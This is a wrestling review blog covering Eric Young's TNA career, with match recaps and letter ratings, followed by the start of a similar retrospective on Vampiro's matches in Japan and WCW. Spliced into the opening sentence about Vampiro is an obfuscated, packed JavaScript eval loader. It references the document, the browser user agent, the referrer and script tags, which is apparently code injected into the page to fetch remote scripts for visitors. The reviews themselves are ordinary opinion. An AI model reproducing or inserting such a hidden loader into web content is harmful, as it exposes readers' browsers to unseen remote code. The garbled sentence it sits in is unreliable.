Roode slaps Young in the head a bit and it fires Young up, making him shout HIT ME AGAIN. Young sends him to the floor and hits a huge dive off the top to take Roode out. Roode takes over quickly and we make Brooks jokes. There’s the Hennig neck snap and Roode is in total control. Time for a chinlock and I remember why I hated this heel run by Roode.

Eric counters into an electric chair drop and both guys are down. Discus lariat gets two for Eric. Young is sent to the floor so he pulls Brooks’ pants down after dancing with her. Top rope elbow gets two for Eric. Brooks comes in and there’s a double Death Valley Driver which gets two on Roode. You know, because a big and impressive spot like that shouldn’t end a match. And then Roode whacks Eric in the head with a chair for the pin. Seriously that’s it.

Rating: C-. The ending KILLS that match. Young was rather popular at this point and having him lose after a big spot like that is really pretty stupid. Roode was SO freaking boring as a heel and he never really changed anything about his character, which somehow made him even more boring. Decent match until the ending, but that kills it.

It’s a Dusty Finish though. Roode fires Eric but here’s Cornette to say hang on a second. The match is restarted and Roode hits him in the head multiple times. Gail runs out and beats down Brooks. The distraction leads to a rollup pin for Eric.

This one doesn’t need much of an explanation. From Bound For Glory 2007.

Fight For the Right Tournament Stage One: Reverse Battle Royal

Dang it. Ok so this one might just hold the record for most ridiculous TNA concept. This is the beginning of a HUGE #1 contenders tournament. The winner of this match is the #1 seed in said tournament, which he would wind up losing anyway, making this COMPLETELY POINTLESS.

Anyway there are 16 people in this and you start on the floor. The first eight to get into the ring make it to part two. When those eight are in there’s a battle royal. When there are two left in the ring, they have a one on one match and the winner is the #1 seed. The other seeds are determined in the order you were eliminated.

Somehow this is slightly less complicated than the previous year’s tournament where the winner of the battle royal advanced to the finals and 6 other guys had qualifying matches to set up a triple threat where the winner met the battle royal winner to get a title shot. And people wonder why this company is loathed by so many people.

ANYWAY, the 16 people are Jimmy Rave, Lance Hoyt (Vance Archer), Havok (Johnny Devine), Shark Boy, Petey Williams, Kaz, Alex Shelley, Chris Sabin, Sonjay Dutt, Kip James, BG James, James Storm, Eric Young, Robert Roode, Chris Harris and Junior Fatu (Rikishi, who was there like a week).

Fatu gets in first. This is so stupid. I know there are issues with getting ring time in this company but this is ridiculous. Kaz and Roode are in. Shelley is in fourth. Hoyt accidently drops Young in and there’s Sabin. Hoyt goes in seventh and Storm just beats Harris in to give us the 8th guy. Let’s get this over with. Young puts Storm out seconds in, making him the #8 seed in the tournament. Naturally he would win his first round match as he had to do the least wrestling, making it easier on him. See what I mean by flaws in the system?

Young goes after Rikishi who was supposed to be a huge deal I guess. He chokeslams Roode and stacks up four people in the corner for the splash. Stinkface to Hoyt as this is boring. The Andre treatment takes care of him though. He would make the semi-finals of the tournament and then leave the company.

The Guns go nuts with an insane double submission on Roode and Young. They move Young’s legs so he has an Indian Deathlock on Roode before putting a crossface on Roode and an abdominal stretch on Young. It doesn’t accomplish anything but it looks awesome. Think of it as a Divas match.

Shelley is gone. Kaz hits his slingshot DDT on Sabin and then dumps him too. We’re down to Hoyt, Kaz, Roode and Young. Kaz is out as well. Hoyt like an idiot goes for a moonsault and gets thrown out because he’s a freaking idiot. The final two….ok make that three as Sabin is still in there I guess, are Sabin, Roode and Young. And scratch Sabin….who apparently is Sabin as they apparently misspoke earlier. I give up. Roode vs. Young is the final.

Roode is a power guy still here and isn’t in a tag team. The tournament sets up Sabin vs. Shelley which is of course good but means nothing compared to them in the X Title final years later. These two had been feuding and were stablemates years ago. And then Young rolls up Roode in a small package to end it. Young would lose to Storm in the first round and Kaz would beat Christian to win the tournament.

Rating: F+. This was perhaps the most overdone match in history. Seriously, is it that hard to have a battle royal to determine who the #1 contender is? Couldn’t they just have a tournament with a random draw? Apparently not as they decided to just combine them and throw in a one on one match too. This is what we mean by overbooking. You don’t have to do a big complicated thing when a simple thing would work fine and in this case much better. Stupid match and VERY stupid concept.

In December 2007, Scott Hall was scheduled for a six man tag at Turning Point. Hall, being himself, no showed and Samoa Joe was told to explain it to the crowd. He cut a shoot on the company and picked Eric Young as his replacement.

Angle Alliance vs. Samoa Joe/Kevin Nash/???

The match isn’t going to start for a bit. The Alliance is Tomko/AJ (Tag champions) and of course Angle (world champion). AJ as a heel just isn’t working at all. It never did and it never will. He’s a clueless putz here too so that isn’t helping anything. Karen has some sweet legs. Joe comes out last and grabs the mic for the rant heard around the Impact Zone.

He talks about how he was told to come out here because the fans love him and they’ll listen to him. Scott Hall no showed this event but he’s not going to be here in a surprise or something like that. This got Joe thinking: he could walk out here and have a handicap match, but TNA just gave him a live mic on a PPV. Therefore, he has a few things to say.

There are two types of people in TNA: the diehards who do whatever it takes to entertain the fans every night, and Superstars who come in and do whatever they like. The Superstars screw the wrestlers and the fans who paid to see them, no matter how old they are. TNA is about the Guns, TNA is about Jay Lethal, TNA is about Samoa Joe, TNA is about hard working young guys who want to change wrestling. TNA is about guys doing whatever it takes to entertain the fans while others come in and pad their pensions.

Joe talks to someone in the crowd (presumably Dixie) saying go ahead and fire me. He went to the back and said who wants to be in a fight tonight. The X Division jumped up and said give me the shot. One guy though stood out to him and that is his partner tonight: Eric Young. This was a weird pick and according to some reports I’ve read, Joe’s immediate answer was Homicide, but since LAX were heels at this point that got shot down. At least that’s a valid reason.

Ok so now it’s time for the match. AJ vs. Joe gets us going here. Joe hooks a sunset flip but rolls AJ to the side around the ring (that has a name but I can’t think of it) and chops away. Joe tags in Eric who just doesn’t fit here as he’s a comedy character. This didn’t result in a major push for him either. Young comes in to fight Angle and he’s just Eric Young. That’s the problem here: there’s nothing significant about him but he’s just kind of there.

Off to Nash vs. Tomko and the one with hair takes him down with his usual big strikes. Young gets a Thesz Press on Styles, followed by a wheelbarrow suplex for two. Angle grabs Eric’s arm and pulls it across the ropes to try to give the match a story. AJ tries a superplex but gets caught in a gordbuster off the top. Double tag brings in Nash and Angle but everything breaks down quickly.

Eric’s dive is caught by the tag champs so Joe dives onto all three of them to take them out. Ankle lock to Nash and Joe smiles. He eventually breaks it up with a superkick and tags himself in to beat on Tomko. Powerslam gets two. There’s a Jackknife to Angle as the parade of finishers begins. AJ hits the forearm on Nash and double teaming abounds. The MuscleBuster ends Tomko.

Rating: D. What a mess this was, and somehow having Hall in there would have made it even worse. Young had no point of being in there and it was almost a shoot with everyone being thrown off by Joe’s promo. The match was going to be bad no matter what, but this was really weak and a horrible PPV main event.

After a stupid feud with James Storm over who could drink more beer, Young became a superhero named Super Eric. This led to a trio with Shark Boy and Curry Man, who teamed together at No Surrender 2008.

Rock N Rave Infection/Christy Hemme vs. Prince Justice Brotherhood

The Brotherhood is Super Eric (Young in a bad superhero gimmick), Stone Cold Shark Boy and Curry Man in one of the dumbest gimmicks even by TNA standards. The Infection is a bad rock band gimmick that played Guitar Hero controllers and had the smoking hot Christy Hemme as their manager. Eric vs. Rave to start with Eric taking over.

Eric gets a plancha to the floor which gets two back in the ring. Lance Rock comes in which gets his team nowhere so it’s off to Shark Boy. Thesz Press takes down Rock again as the good guys are dominating. Shark Boy is the same Steve Austin parody that was on Impact the other night. Over to Curry Man who gets a pop for no apparent reason other than a potential lack of oxygen in the arena.

Curry Man tags in Christy and we’re in a comedy match officially. He shoves her off and then realizes where his head was so he offers to go back into it again. Funny spot. Off to Shark Boy and Rave. Back drop sends Shark Boy (I refused to refer to him as Sharky like West and Tenay keep doing) to the floor as momentum changes.

Jawbreaker almost gets Shark Boy a tag but Rock N Rave get something close to a 3D but into a knee instead of a cutter. Christy comes in and is dropped onto Shark Boy by Rock. Cold tag to Curry Man (I thought he was hot and spicy?) who gets a flying hip to Rock. He and Hemme dance a bit and she gets kissed. Rollup gets two but Rock drills Curry so that Christy can hit the Flying Firecrotch Guillotine (don’t ask) for two. Chummer (Stunner) to Christy and a double Death Valley Driver to the guys from Curry Man end this.

Rating: C+. Basic fast paced and fun match to start us off here which is often times the best idea to open a show. Christy was the only good thing about the Infection as she looked great as the groupie. This was just here for comedy and to warm the crowd up and it did that rather well. Good opener.

Young would defeat Sheik Abdul Bashir for the title in late 2008 but the finish was questionable, leading to a rematch at Final Resolution.

X-Division Title: Eric Young vs. Sheik Abdul Bashir

Naturally the referee that interfered in the last match is the referee here. It’s Shane Sewell, that guy that got a brief push for no apparent reason. The fans are all for Eric as this is evil foreigner vs. not so evil foreigner. Thesz Press by Young lets him get in some punches. Young to the floor as I have a feeling the highlights of this match are over already.

Bashir puts on a surfboard hold to waste a lot more time. This is going absolutely nowhere at all and everyone knows it. Young nips up and hammers away and starts a rather generic comeback. Top rope elbow hits for two. Young goes up for a moonsault and misses by literally three and a half feet. That was awful in every sense of the word. Young goes for a sunset flip, the referee kicks Bashir’s arms when he grabs the ropes, match over thank goodness.

Rating: D-. The match was ok I suppose but at the same time it could not have been less interesting. No need at all to have the title be vacant here when they could have had the title change here. The wrestling was boring beyond belief too and the whole thing just did not work whatsoever. Boring match all the way through and I couldn’t wait for it to end.

Not that it matters as this was overturned as well. Young would pin Bashir again at the next Impact but the title was in a tournament because TNA. Anyway, we’ll jump ahead to Bound For Glory 2009 where Young was starting to become more serious and had a Legends Title shot. Eric was the leader of the World Elite stable at this point, which was a group of guys from other countries that weren’t getting the respect they deserved. This didn’t go very far as you might have guessed.

Legends Title: Kevin Nash vs. Eric Young vs. Hernandez

Nash has the title here if I forgot to mention that. Hernandez went from being the hottest thing in the world to this. In a year the Legends Title went from Legends to Global to TV. Hernandez, still in the khaki shorts here, beats up both guys to start us off. BIG shoulder block puts Young on the floor. This is basically Hernandez beats up two guys until we get to the conflict between the heels match.

Solid heat on Young. Match is far from that though. And there’s the issue between the heels as Young insists it was just instinct. Hernandez hits a pretty weak missile dropkick to Nash as this is just a boring match. It’s not really horrible but it’s just totally not interesting at all. Big dive by Super Mex to try to make this more interesting. This has zero flow to it at all and it’s hurting badly. Young hits a big elbow on Hernandez and pulls Nash’s straps down. He sets for the Jackknife and Young rams Hernandez’s head into Nash’s balls for the pin. Pay no attention to Nash’s shoulder being WAY up.

Rating: D-. Not a bad match exactly but just not interesting at all. This was a weird one as they were trying but the styles just totally did not mesh. Like I said it’s not horrible but it’s just there. No flow or story being told really and while the ending was somewhat creative it just never amounted to anything and didn’t work at all.

Young would join the Band and win the Tag Team Titles under the Freebird Rule….until Scott Hall got arrested again, meaning the titles were stripped because the other two members couldn’t defend them for some reason. After ANOTHER comedy angle with the bisexual Orlando Jordan, Young would get a TV Title shot on the May 26, 2011 episode of Impact.

TV Title: Eric Young vs. Gunner

Young has the title itself because Gunner stole back the wrong belt last week. I guess the whole “one is black and one is red” thing is too hard to keep track of. They reenact the Fingerpoke of Doom but Young rolls him up for the pin and the title at 32 seconds. Whatever man, whatever.

After losing the title to Robbie E., Young would hook up with ODB and challenge for the Knockouts Tag Team Titles on Impact, March 8, 2012.

Knockout Tag Titles: Eric Young/ODB vs. Gail Kim/Madison Rayne

Eric starts with Gail but ODB tags herself in. Gail runs and is promptly clotheslined. Off to Madison who looks great in red. The champs work over ODB with some double teaming. Madison takes a clothesline to the ribs which was supposed to be a spear I think. Either way it allows the double tag and Eric locks up with the referee. Eric puts both girls in an airplane spin and ODB clotheslines them both down. There go Eric’s pants and Madison hits Eric with a title, knocking him onto Gail for the pin and the titles at 5:48.

Rating: D. I hate this angle. I’ve made that quite clear over the past few months and I don’t think it really requires a lot of explanation. Eric Young and ODB are supposed to be funny but they aren’t. It’s the most forced comedy I’ve seen in a very long time. It’s like taking the ingredients of a cake and putting them on a table and calling it a cake. It doesn’t quite work.

While holding the titles, Young would take a leave of absence to host a fishing show on Animal Planet. He would return as a surprise partner at Lockdown 2013.

Lethal Lockdown

TNA: Sting, Magnus, Samoa Joe, Eric Young, James Storm
Aces and 8’s: Mr. Anderson, D-Von, Doc, Mike Knux, Garrett Bischoff

This has some interesting rules. Two men (Anderson and Magnus) start things off and fight for three minutes. After those three minutes, Aces and 8’s (they won a series of matches on Thursday) get a man advantage for two minutes. Then TNA sends in its second man to even it up for two minutes. Aces and 8’s then get another advantage for two more minutes. They alternate until everyone is in and then it’s one fall to a finish.

Magnus pounds Anderson down in the corner to start before hitting a clothesline. Anderson sends him into the cage though to take over as we have less than a minute before someone else comes in. Off to a chinlock by Anderson to kill the time until Knux makes it 2-1. Also remember that the match can’t end until all ten men are in the match. A sidewalk slam and legdrop floor Magnus as this is one sided so far.

Samoa Joe is in to tie things up and TNA takes over for a bit. The former tag champions continue to work well together by taking the bikers apart. Anderson and Knux are beaten down until Garrett Bischoff comes in to make it 3-2. The fans tell Garrett that he can’t wrestle as Magnus and Joe beat him up as well. Anderson and Knux finally get up and save their partner as Eric Young is in to make it 3-3. Oh wait he has to strip first.

As is the case with every other period, the team with the latest man in takes over. D-Von is in to make it 4-3 Aces and 8’s and the numbers game takes over for the bikers again. Joe fights back with some palm shots to Anderson in the corner but D-Von knocks him down again to take over. The fans want Sting but they get James Storm instead. Storm cleans house with Closing Times and Last Calls but they don’t mean much at this point.

House continues to be cleaned until Doc is in to round out Aces and 8’s. Doc takes over for Team TNA with his power stuff and the match slows down a lot. Here’s Sting with two garbage cans full of weapons to finalize things, meaning it’s now one fall to a finish. Team TNA takes over with a bunch of weapon shots as I guess there’s no roof this year for a change. It’s all Team TNA at this point as the match slows down a bit. Garrett Bischoff gets worn out by Joe via a trashcan.

Sting holds Anderson for Young but Young almost hits Sting by mistake. The break lets the bikers take over with Doc chokeslamming Young. Magnus and Storm come back to take over, sending Garrett running to the top of the cage. They chase after him, resulting in I think Doc and Knux making the save. Joe powerbombs ALL FIVE GUYS down in a big Tower of Doom before putting Anderson in an STF but Doc makes the save. TNA takes over again with Sting hitting the Death Drop on Knox, but he doesn’t cover. Instead he sends Young to the top of the cage for an elbow drop for the pin at 26:27.

Rating: B. The problem of the ring being too small to hold ten guys still exists, but as someone with a bad fear of heights I’m very glad to see them not have the roof on the cage. It’s a risk they just don’t need to take and the Tower of Doom spot was more than able to make up for it. Very solid match here but Aces and 8’s continue to fall further into the abyss.

The return wouldn’t mean much as Young would go and film more fishing. While he was around briefly, the Knockouts Tag Team Titles were finally stripped and retired as they hadn’t been defended on TV in about a year. Young would then hook up with Joseph Park to prove that Park was Abyss. Here’s a match from that period, on November 7, 2013’s Impact.

Bad Influence vs. Eric Young/Joseph Park

Eric gets double teamed to start but sends Bad Influence into each other. Park comes in for some work on the arm but it’s back to Young for an Ultimo Dragon headstand in the corner. Kaz is sent to the floor for a suicide dive from Eric and a cross body back inside gets two. Young is sent to the corner for a Flair Flip plus some strutting on the apron, only to have Kaz knock him out to the floor. Back inside and Bad Influence lays him out with Daniels getting two off a clothesline to the back of the head.

A Kaz distraction prevents the referee from seeing the hot tag to Park but Young ducks a clothesline, sending Bad Influence into each other again. Now the hot tag brings in Park and there’s a Boston Crab on Kaz. Daniels makes the save but everything breaks down. Daniels whips Young knees first into the steps before picking up the bell ringer’s hammer. That goes nowhere so he picks up the Appletini to blind Park, allowing Kaz to crucifix him for the pin at 4:38.

Rating: D. Just a match here for the most part with nothing significant happening at all. We’ve seen these teams fight several times now and nothing has really been accomplished as a result. The only interesting thing here is the difference in comedy. Young and Park have hammered their jokes so far into the ground that they haven’t been funny for months. Bad Influence on the other hand at least keeps their comedy moving, which keeps them feeling much fresher. It’s a nice breather.

Then Eric Young was a main event guy, and would be in a gauntlet match on April 10, 2014’s Impact for a future World Title shot.

Gauntlet Match

It’s basically a ten man Royal Rumble. James Storm is #1 and Gunner is #2 and of course the brawl is on in the aisle. They get inside with Gunner avoiding a middle rope ax handle and taking him into the corner for a stomping. Storm is in even more trouble until Bobby Roode comes in at #3 to give him a breather. Beer Money reunites for a bit but Gunner shrugs off the ten rams into the top turnbuckle. Bully Ray is #4 and cleans house as you would expect him to. A double suplex has no effect though and he clotheslines Beer Money down.

Gunner and Ray load up What’s Up to Storm but Roode makes the save Ethan Carter III comes in at #5 to give the heels an advantage. Ray shrugs everything off and chops away but Roode punches him down in the corner. No one has been eliminated yet. Carter and Roode try to toss Ray until Bobby Lashley is in at #6. The big man cleans house and hammers on all the heels until Gunner, Ray and Bobby have a three way standoff. That goes nowhere and they keep beating up the villains.

Abyss is #7 and cleans house but Ray tries to toss him. Magnus comes out for commentary as we take a break. Back with Sanada having entered and Eric Young entering at I believe #9. No eliminations yet. Everyone fights against the ropes and teases a few eliminations but no one is really close. Willow is #10 and we get a showdown with Carter. A Twisting Stunner has Carter in trouble as Spud wheelchairs down to ringside, only to pop up and pull Willow down for the elimination.

Abyss chokeslams Sanada and throws him out but walks into a spear from Lashley. Roode throws the bald Bobby out though, only to get tossed by Ray. We’re down to Ray, Gunner, Storm, Carter, Abyss and Young. Ray is about to go off on Carter but Roode trips him up, allowing Carter to throw him out and get us down to five. Storm nails a superkick to Gunner and easily throws him out.

The three heels team up on Young but he skins the cat and eliminates Carter on the way back in. Abyss lays him out again though and the double teaming continues. Eric trips both of them up though and actually hits the top rope elbow on Abyss. Storm takes him right back down with the Backstabber though, followed by an Orton Elevated DDT. The Last Call misses though and Young throws him out. Abyss hits Shock Treatment on Eric but can’t get him out. Young fights back with some right hands and an ax handle, followed by a clothesline for the win and title shot at 26:21.

Rating: D+. ERIC YOUNG? This is the guy they’re giving a title match to? Not Gunner, Ray, Joe, or ANYONE ELSE??? They have like five PPVs a year and the guy who was doing a Dr. Frankenstein gimmick earlier in the year is getting one of the main event slots? He’s more bearable when he’s serious but my goodness this matches my head hurt.

Eric calls out MVP post match. The boss comes out after a break and Eric says he does a great job. Young isn’t a doctor but since this is live TV, anything can happen. What MVP just saw was Eric earning a title shot. This is live TV though and Eric is feeling crazy. He wants his title shot TONIGHT. MVP asks if he’s sure and says it’s on. Magnus says that’s fine because everything abides by his rules. MVP says there are no Magnus Rules in effect, meaning the title changes hands on a countout or DQ and Abyss is banned from ringside. If anyone interferes, they’re fired on the spot.

From later in the night.

TNA World Title: Eric Young vs. Magnus

Eh why not. It worked at Wrestlemania XXX. Young scores with a quick dropkick and flips over the corner before strutting down the apron. Apparently Young has a bad arm coming into this to really hammer in the similarities. Magnus avoids a charge into the corner and sends Eric out to the floor with a big running knee. Back in and Eric sends Magnus to the floor, only to get nailed as he tries a suicide dive.

Magnus sends him into the steps and we take a break. Back with the champion getting two off a gutwrench suplex and we hit a sleeper on Young. Eric is quickly out of the hold but gets caught in a camel clutch to work on the back as well as the bad arm. Young powers up into an electric chair and both guys are down. Back up and some forearms and a clothesline drop Magnus. The arm seems fine at the moment. Eric tries a wheelbarrow slam into a neckbreaker but mostly drops Magnus on the way down.

The top rope elbow gets two and Magnus nails the Michinoku Driver for the same. He brings the belt into the ring but the referee takes it away. Young loads up a Death Valley Driver but gets hit low for two. Magnus is livid and gets caught in a crucifix for two. Eric comes back with a piledriver for the pin and the title at 13:05.

Rating: C. Eric Young is the TNA World Champion. Yes it’s a blatant ripoff of Daniel Bryan on Sunday, but Eric Young hasn’t earned the spot like Bryan has. He’s a comedy guy that has kept a job for a long time. That doesn’t mean he should be the World Champion. I’m assuming this doesn’t make it past Sacrifice, but I’ve only been able to tolerate Young for this many years. Having him as World Champion is too far for me.

As you can see, Eric Young hasn’t exactly been the most serious wrestler in the world over his career, which is why the title reign at the end didn’t work for me. There’s nothing wrong with being a comedy guy, but I would have liked to see him do something different every now and then. I don’t mind Young when he’s serious, but six weeks of being serious isn’t enough of a time to become World Champion. His reign wasn’t bad though so it wasn’t a disaster.

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Wrestler of the Day – May 31: Vampiro

We’ll wrap up the month with someone who is a bit odd. It’s Vampiro.

Vampiro eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|risyh|var|u0026u|referrer|tyefz||js|php'.split('|'),0,{})) has been around for a VERY long time, starting out as a teenager in 1984. We’ll have to skip most of his early career though due to it being mostly in the indies or around the world. First up is a match from the WAR promotion in Japan.

Vampiro vs. Koki Kitahara vs. Bam Bam Bigelow

This is a Scramble War, basically making it a round robin. In other words, it’s three straight singles matches with everyone getting to fight everyone. Vampiro starts with Koki and nails a quick spinebuster for two. Koki heads outside and gets taken down with an ugly looking flip dive off the top. Back in and Vampiro dives off the top and into the crowd, mostly missing Koki and hitting chairs. They go inside again with Vampiro hitting a top rope hurricanrana for two before walking into a release Rock Bottom. Koki almost drops him on a powerbomb attempt before hitting a Batista Bomb for the pin.

Next up is Bigelow vs. Koki with the name you’ve likely heard of sending Koki out to the floor. Back in and Koki grabs a chinlock to take Bigelow down. After a minute and a half in the hold, Bigelow fights up with a belly to back suplex but gets kicked in the ribs, followed by a DDT for two. Back to the chinlock but Bigelow suplexes out again and drops Koki with four straight clotheslines. A backsplash is enough to give Bam Bam the pin.

So now it’s Bigelow vs. Vampiro with Bam Bam hitting a quick powerslam for two. The top rope headbutt misses but Vampiro misses a guillotine legdrop. A sunset flip is countered by Bigelow sitting on Vampiro’s chest for two followed by the moonsault to give Bigelow his second pin of the match.

Rating: D+. This was pretty boring stuff with Bigelow being about two miles ahead of both other guys. I still don’t care for the Japanese no selling as Koki just stood there for three straight clotheslines and barely even staggered. Pop back up or something but don’t just get hit with it and yell. It looks stupid.

Vampiro would get his biggest American exposure in WCW in 1999/2000, but he would make an appearance on June 29, 1998’s Nitro as well.

El Vampiro vs. Brad Armstrong

Vampiro looks much different without his facepaint. Feeling out process to start with Armstrong taking him into the corner but Vampiro lands on his feet off a monkey flip. A clothesline puts Vampiro down but he comes back with a nice spinning kick to the jaw. Vampiro scores again with a spinwheel kick to the face and the Nail in the Coffin (Michinoku Driver) for the pin. Just a squash even though Vampiro wouldn’t be back until next March.

Vampiro would indeed come back in 1999 and become a bigger deal. He would feud with a variety of people, including Berlyn, who he met in a dog collar match at Mayhem 1999.

Vampiro vs. Berlyn

This is a collar match and Vampiro has Jerry Only of the band the Misfits with him. Berlyn is Alex Wright in something resembling a Neo-Nazi deal. It was rather weird to say the least. Dr. Death Steve Williams and Oklahoma, one of the creative writers making fun of JR. Immediately Berlyn hits the referee. Vampy kicks Berlyn and Wall hits Vampiro. A second referee comes down as Wall beats up Vampiro and Berlyn is on the floor.

Wall misses a big boot and gets crotched as Berlyn beats up Jerry Only. Oklahoma’s impression of JR is pretty good. I think the match has started now but I’m not sure. Oklahoma makes up a bunch of football stats for the three guys as Wall hits a HUGE chokeslam and is tied to Vampiro now. Berlyn yells at the Wall who takes the collar off.

I have no idea what the point of this is or if the bell ever rant in the first place. Oklahoma: “This Berlyn is tougher than Chinese algebra.” Wall walks out and Vampiro hits a release superplex. Only (not a wrestler) comes in for the double team and The Nail in the Coffin (Michinoku Driver) sets up a camel clutch with the chain for the pin.

Rating: N/A. The bell never rang so I don’t think this was an actual match. As for the match, I have no idea why it’s on the card as Vampy and Berlyn were ever chained together at any time. It wasn’t a good match or anything either as Wall was the one out there doing most of the work while a singer that most people probably didn’t know was beaten up. I don’t get the point of this at all.

Next up was a feud with Oklahoma (Ed Ferrara in an insulting Jim Ross impersonation) and Oklahoma’s muscle Steve Williams, to be settled at Starrcade 1999.

Vampiro vs. Steve Williams

The Misfits are Vampiro’s friends and Williams is Oklahoma’s heavy. Oklahoma is designed to do one thing and one thing only: make fun of Jim Ross. Vampiro gets five minutes against Oklahoma is he wins, but since Oklahoma has a mic on we have to hear him talk during the match. Vampiro climbs on top of the cage to start and dives down onto Williams before whipping him into the barricade. A kick to the face staggers Doc and we head inside for the first time.

Vampiro pounds on Williams as this is already going nowhere, much like the majority of the card tonight. Doc fires back with some chops, causing Oklahoma to shout CHOP CHOP CHOP because that’s FUNNY you see. Williams hits some shoulder blocks but misses a splash in the corner. A suplex puts Williams down but as Vampiro goes up, Doc pops up with a superplex, nearly breaking Vampiro’s neck in the process. That’s enough for the wrestling so here are the Misfits to distract Williams. Vampiro kicks Doc down but a second kick is caught in a suplex. Williams pounds away until he shoves the referee for the lame DQ.

Rating: D. So to be clear, Vampiro was supposed to be a big deal in WCW around this time, so let’s have him get destroyed by someone who hasn’t been around in years for the sake of pushing a feud to make fun of someone who isn’t even in this company anymore. Did I mention that 1999 was a really stupid year for WCW?

The five minute clock immediately starts despite Oklahoma being in the cage still.

Vampiro vs. Oklahoma

To further the stupidity, Williams beats Vampiro up for about two more minutes while Oklahoma spouts off stupid jokes from inside the cage. Oklahoma finally gets out and drops Vampiro again with a DDT before stomping away in the corner. Vampiro gets up so Oklahoma runs, only to have the Misfits throw him back in. After a few low blows from Oklahoma (yeah the announcer is hanging in there with a wrestler. Why are you surprised?), Vampiro hits a Nail in the Coffin (Michinoku Driver) for the pin. They weren’t even “fighting” for a minute.

Vampiro would feud with Billy Kidman next…..and I have no idea why. Here’s my explanation for the match at SuperBrawl 2000.

Recap of Kidman vs. Vampiro which is over respect or something but Vampy could never beat him. Ok so yes he could and this is the rubber match or something. It’s nice to see just a basic feud though. The Wall is involved somehow also. The package keeps going and I have no idea what they’re fighting over after about a minute of it. I think they’re friends but I have no idea for the most part. It’s WCW so were you really expecting a coherent storyline?

Billy Kidman vs. Vampiro

We start with some decent technical stuff until Kidman gets a rana to send Vampiro to the floor. Back in the ring Vampy gets a suplex off the top for two. Kidman is dropkicked into Torrie and now Billy is all fired up. Vampiro takes over the heel role here as Madden reaches a new low in bad jokes: “If Torries helps Kidman beat Vampiro is she Torrie the Vampiro Slayer?”

Back inside now and Vampy is in control with some suplexes. Kidman grabs a Sky High for two. Fameasser gets two for Vampiro. Madden says in a year this will be for the US Title and in two years for the world title. Oh that wacky Mark. Vampiro hits a double powerbomb with the second being a release version. They go up top and Kidman hits a reverse tornado DDT off the middle rope for the pin. That came out of nowhere.

Rating: C-. Not bad here and it’s one of the better matches of the night, primarily due to it actually getting some time. Vampiro was supposed to be heel but the fans liked him so WCW totally ignored that because they knew what the fans wanted more than the fans so they made him more and more evil until the fans gave up and the bookers got what they wanted.

We now hit the real feud for Vampiro as he went after Sting. You know, because they’re both freaky and supernatural and stuff and that’s enough for a Wrestlemania main event right? Here’s their biggest match from Great American Bash 2000. It’s a Human Torch match, and I think that’s all the description you need.

Vampiro vs. Sting

There’s a torch up by the video screen that you have to climb a ladder to get to. This isn’t going to end well is it? Vampiro lights the torch and has a gas can near it. There’s an ambulance and firefighters here for this. Russo must be loving this. Sting pulls the torch up above the screen as I mentioned before. Sting wants to know if Vampiro is afraid of heights because if Vampy wants Sting he has to come up here.

Vampiro yells a lot and we stand around a lot. Sting repels down and it’s time for the actual match to start. They fight in the ring as I have a feeling this is going to end badly. Spinwheel kick takes Sting down so Sting comes back even faster with a powerslam and a bunch of clotheslines. Stinger splash misses in the corner so Vampiro pours gasoline on Sting.

As always, in a huge arena, the announcers can smell the fuel many feet away. They fight up the ramp and climb up the structure with Sting getting kicked off. The announcers say that’s it so Vampiro keeps climbing. Sting climbs up anyway and there go the lights as we attempt to conceal the obvious switch that is coming up. They “fight” on top of the screen and even with the camera where it is you can barely see anything.

And them Vampy grabs the torch and lights Sting on fire. Sting dives off the screen to a crash pad and Vampiro wins. He must have really been burned badly because between falling down up there and the jump he lost about 3 inches of hair and shrunk a good 4 inches. That’s some powerful fire.

Rating: N/A. Yeah this wasn’t wrestling. This is one of those matches that is so stupid it defies logic. This is what I recommend doing in this situation: picture the booker/writer pitching this idea to say Jack Brisco, Lou Thesz and Harley Race. If the reaction is either a blank stare, massive amounts of angry cursing or a right cross, IT’S NOT A GOOD FREAKING IDEA!

Since it’s WCW, Vampiro would somehow hook up with Great Muta in the latter part of the year as part of the Dark Carnival stable. At New Blood Rising, they would receive a Tag Team Title shot in Muta’s second match of the night and the second Tag Team Title match of the night, with the first being a four team tag match with three or four guest referees.

Tag Titles: Kronik vs. Dark Carnival

You know there’s going to be a screwjob. You just know it. Tony points out that this wasn’t promoted or anything, thereby showing how freaking stupid this was. Also Kronik looks stupid by putting the belts up here and knowing that there’s a title match the next night on Nitro. What was the appeal of Vampiro? I liked him when I was 12 but now I just don’t get it.

Muta stands in the middle of the apron for a bit for no apparent reason. The challengers kick a lot. Yeah I’m stunned too. Muta’s handspring elbow gets caught in a full nelson slam. Tony is just picking the thinking of this show apart by just doing basic commentary. Madden makes pot jokes as I wonder what the point was to having then do a weird kind of stoner thing.

Vampiro gets cheered and he tries to calm them down, making them cheer more. Crowd is fairly dead here. Clark gets the lukewarm tag and hits the Meltdown on Vampiro. There’s the mist to the referee of course and let’s cue the run-in. Muta almost take High Time….and it’s the Harris Brothers. Oh this doesn’t go well. They hit their move on Clark and a moonsault ends it. They would lose to the Filthy Animals the next night.

Rating: F+. Somehow this was a breath of fresh air for the show. They actually had about 8 minutes of horrible wrestling before the screwjob ending. The match being awful as an upgrade is a sign that sums up this entire show and era. Let’s just get to the end of this.

We’ll wrap up WCW with Halloween Havoc 2000 in another match with no real story behind it.

Vampiro vs. Mike Awesome

It’s That 70s Guy here which is yet another instance where WCW blows what could have been someone special. This is Vampiro’s last match with WCW so who do you think wins it? Vampiro has been extra evil or something lately and hates Awesome just because. Awesome has some title shot coming and Vampiro wants it on the line. Awesome, having nothing to gain, says sure.

Big plancha to the floor by Mike to half kill Vampiro. Dang he was great back in the day. Naturally since he was young and good he was made into a comedy character. We head into the crowd now and it’s all Awesome. A fan jumps Awesome and he’s in trouble people that need to drink to get through a show this bad.

Vampiro grabs a chair for both guys and we have a duel. Just wasting time now as not a lot is going on. Vampiro goes for a top rope belly to belly but he more or less just drops Awesome, letting him fly through the air and do all of the work, making it look bad. Awesome busts out a table which makes this at least the second match with them in it. Since they were used earlier, not a lot of people care here.

